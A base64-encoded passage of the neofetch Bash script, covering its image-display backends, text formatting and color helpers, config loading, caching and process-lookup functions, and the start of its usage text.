HQ9JXNweDtpbmxpbmU9MTolcycgXAogICAgICAgICAgICAgICAgIiR3aWR0aCIgIiRoZWlnaHQiICIkKGJhc2U2NCA8ICIkaW1hZ2UiKSIKCiAgICAgICAgICAgICMgVG11eCByZXF1aXJlcyBhbiBhZGRpdGlvbmFsIGVzY2FwZSBzZXF1ZW5jZSBmb3IgdGhpcyB0byB3b3JrLgogICAgICAgICAgICBbWyAtbiAiJFRNVVgiIF1dICYmIHByaW50ZiAtdiBpdGVybV9jbWQgJ1xlUHRtdXg7XGUlYlxlJ1xcICIkaXRlcm1fY21kIgoKICAgICAgICAgICAgcHJpbnRmICclYlxhXG4nICIkaXRlcm1fY21kIgogICAgICAgIDs7CgogICAgICAgICJ0eWNhdCIpCiAgICAgICAgICAgIHR5Y2F0IFwKICAgICAgICAgICAgICAgIC1nICIke3dpZHRofXgke2hlaWdodH0iIFwKICAgICAgICAgICAgIiRpbWFnZSIKICAgICAgICA7OwoKICAgICAgICAidml1IikKICAgICAgICAgICAgdml1IFwKICAgICAgICAgICAgICAgIC10IC13ICIkKCh3aWR0aCAvIGZvbnRfd2lkdGgpKSIgLWggIiQoKGhlaWdodCAvIGZvbnRfaGVpZ2h0KSkiIFwKICAgICAgICAgICAgIiRpbWFnZSIKICAgICAgICA7OwoKICAgICAgICAidzNtIikKICAgICAgICAgICAgZ2V0X3czbV9pbWdfcGF0aAogICAgICAgICAgICB6d3M9J1x4RTJceDgwXHg4Qlx4MjAnCgogICAgICAgICAgICAjIEFkZCBhIHRpbnkgZGVsYXkgdG8gZml4IGlzc3VlcyB3aXRoIGltYWdlcyBub3QKICAgICAgICAgICAgIyBhcHBlYXJpbmcgaW4gc3BlY2lmaWMgdGVybWluYWwgZW11bGF0b3JzLgogICAgICAgICAgICAoKGJhc2hfdmVyc2lvbj4zKSkgJiYgc2xlZXAgMC4wNQogICAgICAgICAgICBwcmludGYgJyViXG4lcztcbiVzXG4nICIwOzE7JHhvZmZzZXQ7JHlvZmZzZXQ7JHdpZHRoOyRoZWlnaHQ7Ozs7OyRpbWFnZSIgMyA0IHxcCiAgICAgICAgICAgICIke3czbV9pbWdfcGF0aDotZmFsc2V9IiAtYmcgIiRiYWNrZ3JvdW5kX2NvbG9yIiAmPi9kZXYvbnVsbAogICAgICAgIDs7CiAgICBlc2FjCn0KCnRvX2FzY2lpKCkgewogICAgZXJyICIkMSIKICAgIGltYWdlX2JhY2tlbmQ9ImFzY2lpIgogICAgcHJpbnRfYXNjaWkKCiAgICAjIFNldCBjdXJzb3IgcG9zaXRpb24gbmV4dCBpbWFnZS9hc2NpaS4KICAgIHByaW50ZiAnXGVbJXNBXGVbOTk5OTk5OUQnICIke2xpbmVzOi0wfSIKfQoKdG9fb2ZmKCkgewogICAgZXJyICIkMSIKICAgIGltYWdlX2JhY2tlbmQ9Im9mZiIKICAgIHRleHRfcGFkZGluZz0KfQoKCiMgVEVYVCBGT1JNQVRUSU5HCgppbmZvKCkgewogICAgIyBTYXZlIHN1YnRpdGxlIHZhbHVlLgogICAgW1sgIiQyIiBdXSAmJiBzdWJ0aXRsZT0iJDEiCgogICAgIyBNYWtlIHN1cmUgdGhhdCAkcHJpbiBpcyB1bnNldC4KICAgIHVuc2V0IC12IHByaW4KCiAgICAjIENhbGwgdGhlIGZ1bmN0aW9uLgogICAgImdldF8kezI6LSQxfSIKCiAgICAjIElmIHRoZSBnZXRfZnVuYyBmdW5jdGlvbiBjYWxsZWQgJ3ByaW4nIGRpcmVjdGx5LCBzdG9wIGhlcmUuCiAgICBbWyAiJHByaW4iIF1dICYmIHJldHVybgoKICAgICMgVXBkYXRlIHRoZSB2YXJpYWJsZS4KICAgIGlmIFtbICIkMiIgXV07IHRoZW4KICAgICAgICBvdXRwdXQ9IiQodHJpbSAiJHshMn0iKSIKICAgIGVsc2UKICAgICAgICBvdXRwdXQ9IiQodHJpbSAiJHshMX0iKSIKICAgIGZpCgogICAgaWYgW1sgIiQyIiAmJiAiJHtvdXRwdXQvLyB9IiBdXTsgdGhlbgogICAgICAgIHByaW4gIiQxIiAiJG91dHB1dCIKCiAgICBlbGlmIFtbICIke291dHB1dC8vIH0iIF1dOyB0aGVuCiAgICAgICAgcHJpbiAiJG91dHB1dCIKCiAgICBlbHNlCiAgICAgICAgZXJyICJJbmZvOiBDb3VsZG4ndCBkZXRlY3QgJHsxfS4iCiAgICBmaQoKICAgIHVuc2V0IC12IHN1YnRpdGxlCn0KCnByaW4oKSB7CiAgICAjIElmICQyIGRvZXNuJ3QgZXhpc3Qgd2UgZm9ybWF0ICQxIGFzIGluZm8uCiAgICBpZiBbWyAiJCh0cmltICIkMSIpIiAmJiAiJDIiIF1dOyB0aGVuCiAgICAgICAgW1sgIiRqc29uIiBdXSAmJiB7IHByaW50ZiAnICAgICVzXG4nICJcIiR7MX1cIjogXCIkezJ9XCIsIjsgcmV0dXJuOyB9CgogICAgICAgIHN0cmluZz0iJHsxfSR7MjorOiAkMn0iCiAgICBlbHNlCiAgICAgICAgc3RyaW5nPSIkezI6LSQxfSIKICAgICAgICBsb2NhbCBzdWJ0aXRsZV9jb2xvcj0iJGluZm9fY29sb3IiCiAgICBmaQoKICAgIHN0cmluZz0iJCh0cmltICIke3N0cmluZy8vJCdcZVswbSd9IikiCiAgICBsZW5ndGg9IiQoc3RyaXBfc2VxdWVuY2VzICIkc3RyaW5nIikiCiAgICBsZW5ndGg9IiR7I2xlbmd0aH0iCgogICAgIyBGb3JtYXQgdGhlIG91dHB1dC4KICAgIHN0cmluZz0iJHtzdHJpbmcvOi8ke3Jlc2V0fSR7Y29sb25fY29sb3J9JHtzZXBhcmF0b3I6PTp9JHtpbmZvX2NvbG9yfX0iCiAgICBzdHJpbmc9IiR7c3VidGl0bGVfY29sb3J9JHtib2xkfSR7c3RyaW5nfSIKCiAgICAjIFByaW50IHRoZSBpbmZvLgogICAgcHJpbnRmICclYlxuJyAiJHt0ZXh0X3BhZGRpbmc6K1xlWyR7dGV4dF9wYWRkaW5nfUN9JHt6d3N9JHtzdHJpbmcvL1xcbn0ke3Jlc2V0fSAiCgogICAgIyBDYWxjdWxhdGUgaW5mbyBoZWlnaHQuCiAgICAoKCsraW5mb19oZWlnaHQpKQoKICAgICMgTG9nIHRoYXQgcHJpbiB3YXMgdXNlZC4KICAgIHByaW49MQp9CgpnZXRfdW5kZXJsaW5lKCkgewogICAgW1sgIiR1bmRlcmxpbmVfZW5hYmxlZCIgPT0gIm9uIiBdXSAmJiB7CiAgICAgICAgcHJpbnRmIC12IHVuZGVybGluZSAiJSR7bGVuZ3RofXMiCiAgICAgICAgcHJpbnRmICclYiViXG4nICIke3RleHRfcGFkZGluZzorXGVbJHt0ZXh0X3BhZGRpbmd9Q30ke3p3c30ke3VuZGVybGluZV9jb2xvcn0iIFwKICAgICAgICAgICAgICAgICAgICAgICAgIiR7dW5kZXJsaW5lLy8gLyR1bmRlcmxpbmVfY2hhcn0ke3Jlc2V0fSAiCiAgICB9CgogICAgKCgrK2luZm9faGVpZ2h0KSkKICAgIGxlbmd0aD0KICAgIHByaW49MQp9CgpnZXRfYm9sZCgpIHsKICAgIGNhc2UgJGFzY2lpX2JvbGQgaW4KICAgICAgICAib24iKSAgYXNjaWlfYm9sZD0nXGVbMW0nIDs7CiAgICAgICAgIm9mZiIpIGFzY2lpX2JvbGQ9IiIgOzsKICAgIGVzYWMKCiAgICBjYXNlICRib2xkIGluCiAgICAgICAgIm9uIikgIGJvbGQ9J1xlWzFtJyA7OwogICAgICAgICJvZmYiKSBib2xkPSIiIDs7CiAgICBlc2FjCn0KCnRyaW0oKSB7CiAgICBzZXQgLWYKICAgICMgc2hlbGxjaGVjayBkaXNhYmxlPTIwNDgsMjA4NgogICAgc2V0IC0tICQqCiAgICBwcmludGYgJyVzXG4nICIkeyovL1tbOnNwYWNlOl1dL30iCiAgICBzZXQgK2YKfQoKdHJpbV9xdW90ZXMoKSB7CiAgICB0cmltX291dHB1dD0iJHsxLy9cJ30iCiAgICB0cmltX291dHB1dD0iJHt0cmltX291dHB1dC8vXCJ9IgogICAgcHJpbnRmICIlcyIgIiR0cmltX291dHB1dCIKfQoKc3RyaXBfc2VxdWVuY2VzKCkgewogICAgc3RyaXA9IiR7MS8vJCdcZVsnM1swLTldbX0iCiAgICBzdHJpcD0iJHtzdHJpcC8vJCdcZVsnWzAtOV1tfSIKICAgIHN0cmlwPSIke3N0cmlwLy9cXGVcW1swLTldbX0iCiAgICBzdHJpcD0iJHtzdHJpcC8vJCdcZVsnMzhcOzVcO1swLTldbX0iCiAgICBzdHJpcD0iJHtzdHJpcC8vJCdcZVsnMzhcOzVcO1swLTldWzAtOV1tfSIKICAgIHN0cmlwPSIke3N0cmlwLy8kJ1xlWyczOFw7NVw7WzAtOV1bMC05XVswLTldbX0iCgogICAgcHJpbnRmICclc1xuJyAiJHN0cmlwIgp9CgojIENPTE9SUwoKc2V0X2NvbG9ycygpIHsKICAgIGMxPSIkKGNvbG9yICIkMSIpJHthc2NpaV9ib2xkfSIKICAgIGMyPSIkKGNvbG9yICIkMiIpJHthc2NpaV9ib2xkfSIKICAgIGMzPSIkKGNvbG9yICIkMyIpJHthc2NpaV9ib2xkfSIKICAgIGM0PSIkKGNvbG9yICIkNCIpJHthc2NpaV9ib2xkfSIKICAgIGM1PSIkKGNvbG9yICIkNSIpJHthc2NpaV9ib2xkfSIKICAgIGM2PSIkKGNvbG9yICIkNiIpJHthc2NpaV9ib2xkfSIKCiAgICBbWyAiJGNvbG9yX3RleHQiICE9ICJvZmYiIF1dICYmIHNldF90ZXh0X2NvbG9ycyAiJEAiCn0KCnNldF90ZXh0X2NvbG9ycygpIHsKICAgIGlmIFtbICIke2NvbG9yc1swXX0iID09ICJkaXN0cm8iIF1dOyB0aGVuCiAgICAgICAgdGl0bGVfY29sb3I9IiQoY29sb3IgIiQxIikiCiAgICAgICAgYXRfY29sb3I9IiRyZXNldCIKICAgICAgICB1bmRlcmxpbmVfY29sb3I9IiRyZXNldCIKICAgICAgICBzdWJ0aXRsZV9jb2xvcj0iJChjb2xvciAiJDIiKSIKICAgICAgICBjb2xvbl9jb2xvcj0iJHJlc2V0IgogICAgICAgIGluZm9fY29sb3I9IiRyZXNldCIKCiAgICAgICAgIyBJZiB0aGUgYXNjaWkgYXJ0IHVzZXMgOCBhcyBhIGNvbG9yLCBtYWtlIHRoZSB0ZXh0IHRoZSBmZy4KICAgICAgICAoKCR7MTotMX0gPT0gOCkpICYmIHRpdGxlX2NvbG9yPSIkcmVzZXQiCiAgICAgICAgKCgkezI6LTd9ID09IDgpKSAmJiBzdWJ0aXRsZV9jb2xvcj0iJHJlc2V0IgoKICAgICAgICAjIElmIHRoZSBzZWNvbmQgY29sb3IgaXMgd2hpdGUgdXNlIHRoZSBmaXJzdCBmb3IgdGhlIHN1YnRpdGxlLgogICAgICAgICgoJHsyOi03fSA9PSA3KSkgJiYgc3VidGl0bGVfY29sb3I9IiQoY29sb3IgIiQxIikiCiAgICAgICAgKCgkezE6LTF9ID09IDcpKSAmJiB0aXRsZV9jb2xvcj0iJHJlc2V0IgogICAgZWxzZQogICAgICAgIHRpdGxlX2NvbG9yPSIkKGNvbG9yICIke2NvbG9yc1swXX0iKSIKICAgICAgICBhdF9jb2xvcj0iJChjb2xvciAiJHtjb2xvcnNbMV19IikiCiAgICAgICAgdW5kZXJsaW5lX2NvbG9yPSIkKGNvbG9yICIke2NvbG9yc1syXX0iKSIKICAgICAgICBzdWJ0aXRsZV9jb2xvcj0iJChjb2xvciAiJHtjb2xvcnNbM119IikiCiAgICAgICAgY29sb25fY29sb3I9IiQoY29sb3IgIiR7Y29sb3JzWzRdfSIpIgogICAgICAgIGluZm9fY29sb3I9IiQoY29sb3IgIiR7Y29sb3JzWzVdfSIpIgogICAgZmkKCiAgICAjIEJhciBjb2xvcnMuCiAgICBpZiBbWyAiJGJhcl9jb2xvcl9lbGFwc2VkIiA9PSAiZGlzdHJvIiBdXTsgdGhlbgogICAgICAgIGJhcl9jb2xvcl9lbGFwc2VkPSIkKGNvbG9yIGZnKSIKICAgIGVsc2UKICAgICAgICBiYXJfY29sb3JfZWxhcHNlZD0iJChjb2xvciAiJGJhcl9jb2xvcl9lbGFwc2VkIikiCiAgICBmaQoKICAgIGNhc2UgJHtiYXJfY29sb3JfdG90YWx9JHsxfSBpbgogICAgICAgIGRpc3Ryb1s3MzZdKSBiYXJfY29sb3JfdG90YWw9JChjb2xvciAiJDEiKSA7OwogICAgICAgIGRpc3Ryb1swLTldKSBiYXJfY29sb3JfdG90YWw9JChjb2xvciAiJDIiKSA7OwogICAgICAgICopICAgICAgICAgICBiYXJfY29sb3JfdG90YWw9JChjb2xvciAiJGJhcl9jb2xvcl90b3RhbCIpIDs7CiAgICBlc2FjCn0KCmNvbG9yKCkgewogICAgY2FzZSAkMSBpbgogICAgICAgIFswLTZdKSAgICBwcmludGYgJyViXGVbMyVzbScgICAiJHJlc2V0IiAiJDEiIDs7CiAgICAgICAgNyB8ICJmZyIpIHByaW50ZiAnXGVbMzdtJWInICAgICIkcmVzZXQiIDs7CiAgICAgICAgKikgICAgICAgIHByaW50ZiAnXGVbMzg7NTslYm0nICIkMSIgOzsKICAgIGVzYWMKfQoKIyBPVEhFUgoKc3Rkb3V0KCkgewogICAgaW1hZ2VfYmFja2VuZD0ib2ZmIgogICAgdW5zZXQgc3VidGl0bGVfY29sb3IgY29sb25fY29sb3IgaW5mb19jb2xvciB1bmRlcmxpbmVfY29sb3IgYm9sZCB0aXRsZV9jb2xvciBhdF9jb2xvciBcCiAgICAgICAgICB0ZXh0X3BhZGRpbmcgendzIHJlc2V0IGNvbG9yX2Jsb2NrcyBiYXJfY29sb3JfZWxhcHNlZCBiYXJfY29sb3JfdG90YWwgXAogICAgICAgICAgYzEgYzIgYzMgYzQgYzUgYzYgYzcgYzgKfQoKZXJyKCkgewogICAgZXJyKz0iJChjb2xvciAxKVshXSR7cmVzZXR9ICQxCiIKfQoKZ2V0X2Z1bGxfcGF0aCgpIHsKICAgICMgVGhpcyBmdW5jdGlvbiBmaW5kcyB0aGUgYWJzb2x1dGUgcGF0aCBmcm9tIGEgcmVsYXRpdmUgb25lLgogICAgIyBGb3IgZXhhbXBsZSAiUGljdHVyZXMvV2FsbHBhcGVycyIgLS0+ICIvaG9tZS9keWxhbi9QaWN0dXJlcy9XYWxscGFwZXJzIgoKICAgICMgSWYgdGhlIGZpbGUgZXhpc3RzIGluIHRoZSBjdXJyZW50IGRpcmVjdG9yeSwgc3RvcCBoZXJlLgogICAgW1sgLWYgIiR7UFdEfS8kezF9IiBdXSAmJiB7IHByaW50ZiAnJXNcbicgIiR7UFdEfS8kezF9IjsgcmV0dXJuOyB9CgogICAgISBjZCAiJHsxJS8qfSIgJiYgewogICAgICAgIGVyciAiRXJyb3I6IERpcmVjdG9yeSAnJHsxJS8qfScgZG9lc24ndCBleGlzdCBvciBpcyBpbmFjY2Vzc2libGUiCiAgICAgICAgZXJyICIgICAgICAgQ2hlY2sgdGhhdCB0aGUgZGlyZWN0b3J5IGV4aXN0cyBvciB0cnkgYW5vdGhlciBkaXJlY3RvcnkuIgogICAgICAgIGV4aXQgMQogICAgfQoKICAgIGxvY2FsIGZ1bGxfZGlyPSIkezEjIyovfSIKCiAgICAjIEl0ZXJhdGUgZG93biBhIChwb3NzaWJsZSkgY2hhaW4gb2Ygc3ltbGlua3MuCiAgICB3aGlsZSBbWyAtTCAiJGZ1bGxfZGlyIiBdXTsgZG8KICAgICAgICBmdWxsX2Rpcj0iJChyZWFkbGluayAiJGZ1bGxfZGlyIikiCiAgICAgICAgY2QgIiR7ZnVsbF9kaXIlLyp9IiB8fCBleGl0CiAgICAgICAgZnVsbF9kaXI9IiR7ZnVsbF9kaXIjIyovfSIKICAgIGRvbmUKCiAgICAjIEZpbmFsIGRpcmVjdG9yeS4KICAgIGZ1bGxfZGlyPSIkKHB3ZCAtUCkvJHsxLypcL30iCgogICAgW1sgLWUgIiRmdWxsX2RpciIgXV0gJiYgcHJpbnRmICclc1xuJyAiJGZ1bGxfZGlyIgp9CgpnZXRfdXNlcl9jb25maWcoKSB7CiAgICAjIC0tY29uZmlnIC9wYXRoL3RvL2NvbmZpZy5jb25mCiAgICBpZiBbWyAtZiAiJGNvbmZpZ19maWxlIiBdXTsgdGhlbgogICAgICAgIHNvdXJjZSAiJGNvbmZpZ19maWxlIgogICAgICAgIGVyciAiQ29uZmlnOiBTb3VyY2VkIHVzZXIgY29uZmlnLiAoJHtjb25maWdfZmlsZX0pIgogICAgICAgIHJldHVybgoKICAgIGVsaWYgW1sgLWYgIiR7WERHX0NPTkZJR19IT01FfS9uZW9mZXRjaC9jb25maWcuY29uZiIgXV07IHRoZW4KICAgICAgICBzb3VyY2UgIiR7WERHX0NPTkZJR19IT01FfS9uZW9mZXRjaC9jb25maWcuY29uZiIKICAgICAgICBlcnIgIkNvbmZpZzogU291cmNlZCB1c2VyIGNvbmZpZy4gICAgKCR7WERHX0NPTkZJR19IT01FfS9uZW9mZXRjaC9jb25maWcuY29uZikiCgogICAgZWxpZiBbWyAtZiAiJHtYREdfQ09ORklHX0hPTUV9L25lb2ZldGNoL2NvbmZpZyIgXV07IHRoZW4KICAgICAgICBzb3VyY2UgIiR7WERHX0NPTkZJR19IT01FfS9uZW9mZXRjaC9jb25maWciCiAgICAgICAgZXJyICJDb25maWc6IFNvdXJjZWQgdXNlciBjb25maWcuICAgICgke1hER19DT05GSUdfSE9NRX0vbmVvZmV0Y2gvY29uZmlnKSIKCiAgICBlbGlmIFtbIC16ICIkbm9fY29uZmlnIiBdXTsgdGhlbgogICAgICAgIGNvbmZpZ19maWxlPSIke1hER19DT05GSUdfSE9NRX0vbmVvZmV0Y2gvY29uZmlnLmNvbmYiCgogICAgICAgICMgVGhlIGNvbmZpZyBmaWxlIGRvZXNuJ3QgZXhpc3QsIGNyZWF0ZSBpdC4KICAgICAgICBta2RpciAtcCAiJHtYREdfQ09ORklHX0hPTUV9L25lb2ZldGNoLyIKICAgICAgICBwcmludGYgJyVzXG4nICIkY29uZmlnIiA+ICIkY29uZmlnX2ZpbGUiCiAgICBmaQp9CgpiYXIoKSB7CiAgICAjIEdldCB0aGUgdmFsdWVzLgogICAgZWxhcHNlZD0iJCgoJDEgKiBiYXJfbGVuZ3RoIC8gJDIpKSIKCiAgICAjIENyZWF0ZSB0aGUgYmFyIHdpdGggc3BhY2VzLgogICAgcHJpbnRmIC12IHByb2cgICIlJHtlbGFwc2VkfXMiCiAgICBwcmludGYgLXYgdG90YWwgIiUkKChiYXJfbGVuZ3RoIC0gZWxhcHNlZCkpcyIKCiAgICAjIFNldCB0aGUgY29sb3JzIGFuZCBzd2FwIHRoZSBzcGFjZXMgZm9yICRiYXJfY2hhcl8uCiAgICBiYXIrPSIke2Jhcl9jb2xvcl9lbGFwc2VkfSR7cHJvZy8vIC8ke2Jhcl9jaGFyX2VsYXBzZWR9fSIKICAgIGJhcis9IiR7YmFyX2NvbG9yX3RvdGFsfSR7dG90YWwvLyAvJHtiYXJfY2hhcl90b3RhbH19IgoKICAgICMgQm9yZGVycy4KICAgIFtbICIkYmFyX2JvcmRlciIgPT0gIm9uIiBdXSAmJiBcCiAgICAgICAgYmFyPSIkKGNvbG9yIGZnKVske2Jhcn0kKGNvbG9yIGZnKV0iCgogICAgcHJpbnRmICIlYiIgIiR7YmFyfSR7aW5mb19jb2xvcn0iCn0KCmNhY2hlKCkgewogICAgaWYgW1sgIiQyIiBdXTsgdGhlbgogICAgICAgIG1rZGlyIC1wICIke2NhY2hlX2Rpcn0vbmVvZmV0Y2giCiAgICAgICAgcHJpbnRmICIlcyIgIiR7MS8qLX09XCIkMlwiIiA+ICIke2NhY2hlX2Rpcn0vbmVvZmV0Y2gvJHsxLyotfSIKICAgIGZpCn0KCmdldF9jYWNoZV9kaXIoKSB7CiAgICBjYXNlICRvcyBpbgogICAgICAgICJNYWMgT1MgWCJ8Im1hY09TIikgY2FjaGVfZGlyPSIvTGlicmFyeS9DYWNoZXMiIDs7CiAgICAgICAgKikgICAgICAgICAgY2FjaGVfZGlyPSIvdG1wIiA7OwogICAgZXNhYwp9CgprZGVfY29uZmlnX2RpcigpIHsKICAgICMgSWYgdGhlIHVzZXIgaXMgdXNpbmcgS0RFIGdldCB0aGUgS0RFCiAgICAjIGNvbmZpZ3VyYXRpb24gZGlyZWN0b3J5LgogICAgaWYgW1sgIiRrZGVfY29uZmlnX2RpciIgXV07IHRoZW4KICAgICAgICByZXR1cm4KCiAgICBlbGlmIHR5cGUgLXAga2Y1LWNvbmZpZyAmPi9kZXYvbnVsbDsgdGhlbgogICAgICAgIGtkZV9jb25maWdfZGlyPSIkKGtmNS1jb25maWcgLS1wYXRoIGNvbmZpZykiCgogICAgZWxpZiB0eXBlIC1wIGtkZTQtY29uZmlnICY+L2Rldi9udWxsOyB0aGVuCiAgICAgICAga2RlX2NvbmZpZ19kaXI9IiQoa2RlNC1jb25maWcgLS1wYXRoIGNvbmZpZykiCgogICAgZWxpZiB0eXBlIC1wIGtkZS1jb25maWcgJj4vZGV2L251bGw7IHRoZW4KICAgICAgICBrZGVfY29uZmlnX2Rpcj0iJChrZGUtY29uZmlnIC0tcGF0aCBjb25maWcpIgoKICAgIGVsaWYgW1sgLWQgIiR7SE9NRX0vLmtkZTQiIF1dOyB0aGVuCiAgICAgICAga2RlX2NvbmZpZ19kaXI9IiR7SE9NRX0vLmtkZTQvc2hhcmUvY29uZmlnIgoKICAgIGVsaWYgW1sgLWQgIiR7SE9NRX0vLmtkZTMiIF1dOyB0aGVuCiAgICAgICAga2RlX2NvbmZpZ19kaXI9IiR7SE9NRX0vLmtkZTMvc2hhcmUvY29uZmlnIgogICAgZmkKCiAgICBrZGVfY29uZmlnX2Rpcj0iJHtrZGVfY29uZmlnX2Rpci8kJy86Jyp9Igp9Cgp0ZXJtX3BhZGRpbmcoKSB7CiAgICAjIEdldCB0ZXJtaW5hbCBwYWRkaW5nIHRvIHByb3Blcmx5IGFsaWduIGN1cnNvci4KICAgIFtbIC16ICIkdGVybSIgXV0gJiYgZ2V0X3Rlcm0KCiAgICBjYXNlICR0ZXJtIGluCiAgICAgICAgdXJ4dnQqfHJ4dnQtdW5pY29kZSkKICAgICAgICAgICAgW1sgJHhyZGIgXV0gfHwgeHJkYj0kKHhyZGIgLXF1ZXJ5KQoKICAgICAgICAgICAgW1sgJHhyZGIgIT0gKmludGVybmFsQm9yZGVyOiogXV0gJiYKICAgICAgICAgICAgICAgIHJldHVybgoKICAgICAgICAgICAgcGFkZGluZz0ke3hyZGIvKmludGVybmFsQm9yZGVyOn0KICAgICAgICAgICAgcGFkZGluZz0ke3BhZGRpbmcvJCdcbicqfQoKICAgICAgICAgICAgW1sgJHBhZGRpbmcgPX4gXlswLTldKyQgXV0gfHwKICAgICAgICAgICAgICAgIHBhZGRpbmc9CiAgICAgICAgOzsKICAgIGVzYWMKfQoKZHluYW1pY19wcm9tcHQoKSB7CiAgICBbWyAiJGltYWdlX2JhY2tlbmQiID09ICJvZmYiIF1dICAgJiYgeyBwcmludGYgJ1xuJzsgcmV0dXJuOyB9CiAgICBbWyAiJGltYWdlX2JhY2tlbmQiICE9ICJhc2NpaSIgXV0gJiYgKChsaW5lcz0oaGVpZ2h0ICsgeW9mZnNldCkgLyBmb250X2hlaWdodCArIDEpKQogICAgW1sgIiRpbWFnZV9iYWNrZW5kIiA9PSAidzNtIiBdXSAgICYmICgobGluZXM9bGluZXMgKyBwYWRkaW5nIC8gZm9udF9oZWlnaHQgKyAxKSkKCiAgICAjIElmIHRoZSBhc2NpaSBhcnQgaXMgdGFsbGVyIHRoYW4gdGhlIGluZm8uCiAgICAoKGxpbmVzPWxpbmVzPmluZm9faGVpZ2h0P2xpbmVzLWluZm9faGVpZ2h0KzE6MSkpCgogICAgcHJpbnRmIC12IG5saW5lcyAiJSR7bGluZXN9cyIKICAgIHByaW50ZiAiJWIiICIke25saW5lcy8vIC9cXG59Igp9CgpjYWNoZV91bmFtZSgpIHsKICAgICMgQ2FjaGUgdGhlIG91dHB1dCBvZiB1bmFtZSBzbyB3ZSBkb24ndAogICAgIyBoYXZlIHRvIHNwYXduIGl0IG11bHRpcGxlIHRpbWVzLgogICAgSUZTPSIgIiByZWFkIC1yYSB1bmFtZSA8PDwgIiQodW5hbWUgLXNybSkiCgogICAga2VybmVsX25hbWU9IiR7dW5hbWVbMF19IgogICAga2VybmVsX3ZlcnNpb249IiR7dW5hbWVbMV19IgogICAga2VybmVsX21hY2hpbmU9IiR7dW5hbWVbMl19IgoKICAgIGlmIFtbICIka2VybmVsX25hbWUiID09ICJEYXJ3aW4iIF1dOyB0aGVuCiAgICAgICAgIyBtYWNPUyBjYW4gcmVwb3J0IGluY29ycmVjdCB2ZXJzaW9ucyB1bmxlc3MgdGhpcyBpcyAwLgogICAgICAgICMgaHR0cHM6Ly9naXRodWIuY29tL2R5bGFuYXJhcHMvbmVvZmV0Y2gvaXNzdWVzLzE2MDcKICAgICAgICBleHBvcnQgU1lTVEVNX1ZFUlNJT05fQ09NUEFUPTAKCiAgICAgICAgSUZTPSQnXG4nIHJlYWQgLWQgIiIgLXJhIHN3X3ZlcnMgPDw8ICIkKGF3ayAtRic8fD4nICcva2V5fHN0cmluZy8ge3ByaW50ICQzfScgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIi9TeXN0ZW0vTGlicmFyeS9Db3JlU2VydmljZXMvU3lzdGVtVmVyc2lvbi5wbGlzdCIpIgogICAgICAgIGZvciAoKGk9MDtpPCR7I3N3X3ZlcnNbQF19O2krPTIpKSB7CiAgICAgICAgICAgIGNhc2UgJHtzd192ZXJzW2ldfSBpbgogICAgICAgICAgICAgICAgUHJvZHVjdE5hbWUpICAgICAgICAgIGRhcndpbl9uYW1lPSR7c3dfdmVyc1tpKzFdfSA7OwogICAgICAgICAgICAgICAgUHJvZHVjdFZlcnNpb24pICAgICAgIG9zeF92ZXJzaW9uPSR7c3dfdmVyc1tpKzFdfSA7OwogICAgICAgICAgICAgICAgUHJvZHVjdEJ1aWxkVmVyc2lvbikgIG9zeF9idWlsZD0ke3N3X3ZlcnNbaSsxXX0gICA7OwogICAgICAgICAgICBlc2FjCiAgICAgICAgfQogICAgZmkKfQoKZ2V0X3BwaWQoKSB7CiAgICAjIEdldCBwYXJlbnQgcHJvY2VzcyBJRCBvZiBQSUQuCiAgICBjYXNlICRvcyBpbgogICAgICAgICJXaW5kb3dzIikKICAgICAgICAgICAgcHBpZD0iJChwcyAtcCAiJHsxOi0kUFBJRH0iIHwgYXdrICd7cHJpbnRmICQyfScpIgogICAgICAgICAgICBwcGlkPSIke3BwaWQvUFBJRH0iCiAgICAgICAgOzsKCiAgICAgICAgIkxpbnV4IikKICAgICAgICAgICAgcHBpZD0iJChncmVwIC1pIC1GICJQUGlkOiIgIi9wcm9jLyR7MTotJFBQSUR9L3N0YXR1cyIpIgogICAgICAgICAgICBwcGlkPSIkKHRyaW0gIiR7cHBpZC9QUGlkOn0iKSIKICAgICAgICA7OwoKICAgICAgICAqKQogICAgICAgICAgICBwcGlkPSIkKHBzIC1wICIkezE6LSRQUElEfSIgLW8gcHBpZD0pIgogICAgICAgIDs7CiAgICBlc2FjCgogICAgcHJpbnRmICIlcyIgIiRwcGlkIgp9CgpnZXRfcHJvY2Vzc19uYW1lKCkgewogICAgIyBHZXQgUElEIG5hbWUuCiAgICBjYXNlICRvcyBpbgogICAgICAgICJXaW5kb3dzIikKICAgICAgICAgICAgbmFtZT0iJChwcyAtcCAiJHsxOi0kUFBJRH0iIHwgYXdrICd7cHJpbnRmICQ4fScpIgogICAgICAgICAgICBuYW1lPSIke25hbWUvQ09NTUFORH0iCiAgICAgICAgICAgIG5hbWU9IiR7bmFtZS8qXC99IgogICAgICAgIDs7CgogICAgICAgICJMaW51eCIpCiAgICAgICAgICAgIG5hbWU9IiQoPCAiL3Byb2MvJHsxOi0kUFBJRH0vY29tbSIpIgogICAgICAgIDs7CgogICAgICAgICopCiAgICAgICAgICAgIG5hbWU9IiQocHMgLXAgIiR7MTotJFBQSUR9IiAtbyBjb21tPSkiCiAgICAgICAgOzsKICAgIGVzYWMKCiAgICBwcmludGYgIiVzIiAiJG5hbWUiCn0KCmRlY29kZV91cmwoKSB7CiAgICBkZWNvZGU9IiR7MS8vKy8gfSIKICAgIHByaW50ZiAiJWIiICIke2RlY29kZS8vJS9cXHh9Igp9CgojIEZJTklTSCBVUAoKdXNhZ2UoKSB7IHByaW50ZiAiJXMiICJcClVzYWdlOiBuZW9mZXRjaCBmdW5jX25hbWUgLS1vcHRpb24gXCJ2YWx1ZVwiIC0tb3B0aW9uIFwidmFsdWVcIgoKTmVvZmV0Y2ggaXMgYSBDTEkgc3lzdGVtIGluZm9ybWF0aW9uIHRvb2wgd3JpdHRlbiBpbiBCQVNILiBOZW9mZXRjaApkaXNwbGF5cyBpbmZvcm1hdGlvbiBhYm91dCB5b3VyIHN5c3RlbSBuZXh0IHRvIGFuIGltYWdlLCB5b3VyIE9TIGxvZ28sCm9yIGFueSBBU0NJSSBmaWxlIG9mIHlvdXIgY2hvaWNlLgoKTk9URTogRXZlcnkgbGF1bmNoIGZsYWcgaGFzIGEgY29uZmlnIG9wdGlvbi4KCk9wdGlvbnM6CgpJTkZPOgogICAgZnVuY19uYW1lICAgICAgICAgICAgICAgICAgIFNwZWNpZnkgYSBmdW5jdGlvbiBuYW1lIChzZWNvbmQgcGFydCBvZiBpbmZvKCkgZnJvbSBjb25maWcpIHRvCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcXVpY2tseSBkaXNwbGF5IG9ubHkgdGhhdCBmdW5j